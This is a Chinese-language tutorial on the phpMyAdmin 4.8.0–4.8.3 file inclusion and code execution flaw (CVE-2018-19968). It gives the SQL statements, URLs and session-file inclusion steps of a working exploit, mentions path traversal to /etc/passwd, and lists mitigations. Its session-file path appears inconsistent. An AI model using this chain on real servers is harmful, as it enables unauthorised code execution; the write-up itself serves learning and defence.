phpMyAdmin 4.8.0~4.8.3 任意文件包含/远程代码执行漏洞 (CVE-2018-19968)
字数 1428 2025-08-29 08:31:35
phpMyAdmin 4.8.0~4.8.3 任意文件包含/远程代码执行漏洞 (CVE-2018-19968) 教学文档
漏洞概述
phpMyAdmin 4.8.0~4.8.3版本中存在一个由Transformation特性引起的本地文件读取漏洞,可能导致任意文件包含和远程代码执行。该漏洞CVE编号为CVE-2018-19968。
漏洞原理
Transformation功能简介
Transformation是phpMyAdmin中的一个高级功能,允许对每个字段的内容使用不同的转换规则。通过Transformation,可以将字段内容按照预定义规则转换显示形式,例如:
- 将文件名字段转换为可点击的超链接
- 对特定格式的数据进行特殊渲染
漏洞成因
在tbl_replace.php文件中,存在以下关键代码:
$filename = 'libraries/classes/Plugins/Transformations/'. $mime_map[$column_name]['input_transformation'];
if (is_file($filename)) {
include_once $filename;
// ...
}
问题在于:
$mime_map[$column_name]['input_transformation']来自数据库表pma__column_info中的input_transformation字段- 用户可以控制数据库内容
- 没有对文件路径进行严格过滤
这导致攻击者可以通过构造恶意数据实现任意文件包含。
影响范围
- phpMyAdmin 4.8.0
- phpMyAdmin 4.8.1
- phpMyAdmin 4.8.2
- phpMyAdmin 4.8.3
漏洞利用步骤
环境准备
- 获取一个易受攻击的phpMyAdmin实例(4.8.0-4.8.3)
- 确保有创建数据库和表的权限
利用过程
- 创建测试数据库和表:
CREATE DATABASE foo;
CREATE TABLE foo.bar ( baz VARCHAR(100) PRIMARY KEY );
INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';
- 生成phpMyAdmin配置表:
访问URL:
http://[target]/chk_rel.php?fixall_pmadb=1&db=foo
这将在foo数据库中创建phpMyAdmin的配置表。
- 插入恶意Transformation数据:
INSERT INTO pma__column_info
SELECT '1', 'foo', 'bar', 'baz', 'plop', 'plop', 'plop', 'plop', '.tmp/sess_[your_session_id]', 'plop';
注意:
- 将
[your_session_id]替换为你的会话ID(即cookie中phpMyAdmin的值) - 路径
.tmp/sess_是phpMyAdmin存储会话文件的默认位置
- 触发漏洞:
访问URL:
http://[target]/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1
如果利用成功,服务器将包含你的会话文件并执行其中的PHP代码。
防御措施
-
升级phpMyAdmin:
- 升级到4.8.4或更高版本
-
临时缓解措施:
- 限制对phpMyAdmin的访问
- 禁用非必要用户的数据库创建权限
- 监控
pma__column_info表的异常修改
-
服务器配置:
- 将会话文件存储在web目录之外
- 设置
open_basedir限制 - 禁用危险的PHP函数
技术细节补充
-
会话文件利用:
- phpMyAdmin将会话数据存储在
/tmp/sess_[session_id]文件中 - 攻击者可以通过设置包含PHP代码的字段值,使其写入会话文件
- 然后通过文件包含漏洞包含这个会话文件
- phpMyAdmin将会话数据存储在
-
其他可能的利用方式:
- 包含服务器上的其他已知路径文件
- 通过路径遍历包含系统文件(如
../../../../etc/passwd)
-
漏洞链:
- 需要结合数据库写入权限和文件包含漏洞
- 在默认配置下,普通用户通常有创建数据库的权限
参考链接
- 官方安全公告:PMASA-2018-6
- Transformation文档:https://docs.phpmyadmin.net/en/latest/transformations.html
- 在线测试环境:https://www.vsplate.com/?github=vulnspy/phpmyadmin-4.8.1